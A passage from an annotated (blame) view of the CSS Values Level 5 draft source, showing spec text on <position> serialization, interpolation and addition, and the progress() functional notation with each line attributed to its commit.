</td> <td class="source"> * Keywords are serialized as keywords. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l469" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l715" id="l715"> 715</a> </td> <td class="source"> * <<length-percentage>>s are serialized as <<length-percentage>>s. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l470" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l716" id="l716"> 716</a> </td> <td class="source"> * Components are serialized horizontal first, then vertical. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l471" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l717" id="l717"> 717</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l472" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l718" id="l718"> 718</a> </td> <td class="source"> <dt>If four components are specified: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l473" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l719" id="l719"> 719</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l474" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l720" id="l720"> 720</a> </td> <td class="source"> * Keywords and offsets are both serialized. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l475" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l721" id="l721"> 721</a> </td> <td class="source"> * Components are serialized horizontal first, then vertical; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l477" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l722" id="l722"> 722</a> </td> <td class="source"> alternatively [=block-axis=] first, then [=inline-axis=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l477" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l723" id="l723"> 723</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l478" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l724" id="l724"> 724</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l479" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l725" id="l725"> 725</a> </td> <td class="source"> Note: <<position>> values are never serialized as a single value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l480" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l726" id="l726"> 726</a> </td> <td class="source"> even when a single value would produce the same behavior, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l481" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l727" id="l727"> 727</a> </td> <td class="source"> to avoid causing parsing ambiguities in some grammars </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l482" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l728" id="l728"> 728</a> </td> <td class="source"> where a <<position>> is placed next to a <<length>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l483" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l729" id="l729"> 729</a> </td> <td class="source"> such as 'transform-origin'. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l484" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l730" id="l730"> 730</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l485" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l731" id="l731"> 731</a> </td> <td class="source"> The [=computed value=] of a <<position>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l486" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l732" id="l732"> 732</a> </td> <td class="source"> is serialized as a pair of <<length-percentage>>s </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l487" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l733" id="l733"> 733</a> </td> <td class="source"> representing offsets from the left and top edges, in that order. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l488" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l734" id="l734"> 734</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l489" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l735" id="l735"> 735</a> </td> <td class="source"><h4 id="combine-positions"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l490" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l736" id="l736"> 736</a> </td> <td class="source">Combination of <<position>></h4> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l491" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l737" id="l737"> 737</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l493" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l738" id="l738"> 738</a> </td> <td class="source"> <l spec=css-values-4>[=Interpolation=]</l> of <<position>> is defined as </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l493" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l739" id="l739"> 739</a> </td> <td class="source"> the independent interpolation of each component (x, y) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l494" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l740" id="l740"> 740</a> </td> <td class="source"> normalized as an offset from the top left corner </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l495" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l741" id="l741"> 741</a> </td> <td class="source"> as a <<length-percentage>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l496" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l742" id="l742"> 742</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l498" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l743" id="l743"> 743</a> </td> <td class="source"> <l spec=css-values-4>[=value addition|Addition=]</l> of <<position>> is likewise defined as </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l499" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l744" id="l744"> 744</a> </td> <td class="source"> the independent <l spec=css-values-4>[=value addition|addition=]</l> each component (x, y) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l499" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l745" id="l745"> 745</a> </td> <td class="source"> normalized as an offset from the top left corner </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l500" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l746" id="l746"> 746</a> </td> <td class="source"> as a <<length-percentage>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l501" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l747" id="l747"> 747</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l502" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l748" id="l748"> 748</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l116" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l749" id="l749"> 749</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l126" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l759" id="l759"> 759</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l113" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l760" id="l760"> 760</a> </td> <td class="source"><h2 id="progress"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l114" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l761" id="l761"> 761</a> </td> <td class="source">Interpolation Progress Functional Notations</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l115" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l762" id="l762"> 762</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l116" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l763" id="l763"> 763</a> </td> <td class="source"> ISSUE(6245): This section is an exploratory draft, and not yet approved by the CSSWG. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l117" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l764" id="l764"> 764</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l118" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l765" id="l765"> 765</a> </td> <td class="source"> The ''progress()'', ''media-progress()'', and ''container-progress()'' [=functional notations=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l119" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l766" id="l766"> 766</a> </td> <td class="source"> represent the proportional distance </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b14f7ec58354/css-values-5/Overview.bs#l259" title="b14f7ec58354: [css-values-5][editorial] Add a Changes section, fix a typo, revert to ED.">jackalmage@31585</a> </td> <td class="lineno"> <a href="#l767" id="l767"> 767</a> </td> <td class="source"> of a given value (the <dfn noexport>progress value</dfn>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l121" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l768" id="l768"> 768</a> </td> <td class="source"> from one value (the <dfn noexport>progress start value</dfn>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l122" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l769" id="l769"> 769</a> </td> <td class="source"> to another value (the <dfn noexport>progress end value</dfn>). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l123" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l770" id="l770"> 770</a> </td> <td class="source"> They allow drawing a progress ratio from </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l124" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l771" id="l771"> 771</a> </td> <td class="source"> [=math functions=], [=media features=], and [=container features=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l125" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l772" id="l772"> 772</a> </td> <td class="source"> respectively, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l126" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l773" id="l773"> 773</a> </td> <td class="source"> following a common syntactic pattern: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l127" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l774" id="l774"> 774</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l128" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l775" id="l775"> 775</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l703" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l776" id="l776"> 776</a> </td> <td class="source"> <var ignore>progress-function</var>() = <var ignore>progress-function</var>( <var ignore>progress value</var> from <var ignore>start value</var> to <var ignore>end value</var> ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l130" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l777" id="l777"> 777</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l131" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l778" id="l778"> 778</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l534" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l779" id="l779"> 779</a> </td> <td class="source"> Each resolves to a <<number>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l535" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l780" id="l780"> 780</a> </td> <td class="source"> by [=calculating a progress function=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l536" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l781" id="l781"> 781</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l537" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l782" id="l782"> 782</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l538" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l783" id="l783"> 783</a> </td> <td class="source"> To <dfn export>calculate a progress function</dfn>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l539" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l784" id="l784"> 784</a> </td> <td class="source"> given a [=progress value=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l540" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l785" id="l785"> 785</a> </td> <td class="source"> [=progress start value=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l541" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l786" id="l786"> 786</a> </td> <td class="source"> and [=progress end value=]: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l542" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l787" id="l787"> 787</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l543" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l788" id="l788"> 788</a> </td> <td class="source"> : If the [=progress start value=] and [=progress end value=] are different values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l544" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l789" id="l789"> 789</a> </td> <td class="source"> :: <code>([=progress value=] - [=progress start value=]) / ([=progress end value=] - [=progress start value=])</code>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l545" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l790" id="l790"> 790</a> </td> <td class="source"> : If the [=progress start value=] and [=progress end value=] are the same value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l546" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l791" id="l791"> 791</a> </td> <td class="source"> :: 0, -∞, or +∞, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l547" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l792" id="l792"> 792</a> </td> <td class="source"> depending on whether [=progress value=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l548" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l793" id="l793"> 793</a> </td> <td class="source"> is equal to, less than, or greater than </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l549" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l794" id="l794"> 794</a> </td> <td class="source"> the shared value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l550" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l795" id="l795"> 795</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l551" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l796" id="l796"> 796</a> </td> <td class="source"> Note: The return value is a plain <<number>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l552" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l797" id="l797"> 797</a> </td> <td class="source"> not [=made consistent=] with its arguments by default. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l554" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l798" id="l798"> 798</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l555" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l799" id="l799"> 799</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l556" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l800" id="l800"> 800</a> </td> <td class="source"> The resulting number can then be input into other calculations, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l133" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l801" id="l801"> 801</a> </td> <td class="source"> such as a [=math function=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l134" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l802" id="l802"> 802</a> </td> <td class="source"> or a [=mix notation=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l135" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l803" id="l803"> 803</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l136" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l804" id="l804"> 804</a> </td> <td class="source"><h3 id="progress-func"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l137" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l805" id="l805"> 805</a> </td> <td class="source">Calculated Progress Values: the ''progress()'' notation</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l138" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l806" id="l806"> 806</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l139" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l807" id="l807"> 807</a> </td> <td class="source"> The <dfn>progress()</dfn> functional notation </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l140" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l808" id="l808"> 808</a> </td> <td class="source"> returns a <<number>> value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l141" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l809" id="l809"> 809</a> </td> <td class="source"> representing the position of one [=calculation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l142" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l810" id="l810"> 810</a> </td> <td class="source"> (the [=progress value=]) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l143" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l811" id="l811"> 811</a> </td> <td class="source"> between two other [=calculations=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l144" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l812" id="l812"> 812</a> </td> <td class="source"> (the [=progress start value=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l145" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l813" id="l813"> 813</a> </td> <td class="source"> and [=progress end value=]). </td> </tr> <tr class="parity1"> <td 